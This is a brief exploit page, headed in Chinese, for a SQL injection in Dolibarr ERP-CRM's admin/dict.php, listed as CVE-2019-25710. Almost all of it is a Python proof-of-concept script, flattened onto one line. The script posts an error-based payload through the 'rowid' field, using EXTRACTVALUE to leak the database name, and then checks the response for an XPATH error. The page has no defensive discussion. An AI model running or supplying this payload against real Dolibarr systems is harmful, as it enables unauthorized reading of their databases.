CVE-2019-25710 Dolibarr ERP-CRM SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/admin/dict.php" # Payload based on error-based SQL injection technique # Attempting to cause a database error to confirm vulnerability payload = { "rowid": "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- -" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" } try: response = requests.post(target, data=payload, headers=headers, timeout=10) # Check if the response contains SQL error syntax indicating a successful injection if "XPATH syntax error" in response.text or "mysql_fetch" in response.text: print("[+] Vulnerability detected! SQL Injection successful.") print(f"[+] Response: {response.text[:500]}") else: print("[-] Vulnerability not detected or payload modified.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sqli(target_url)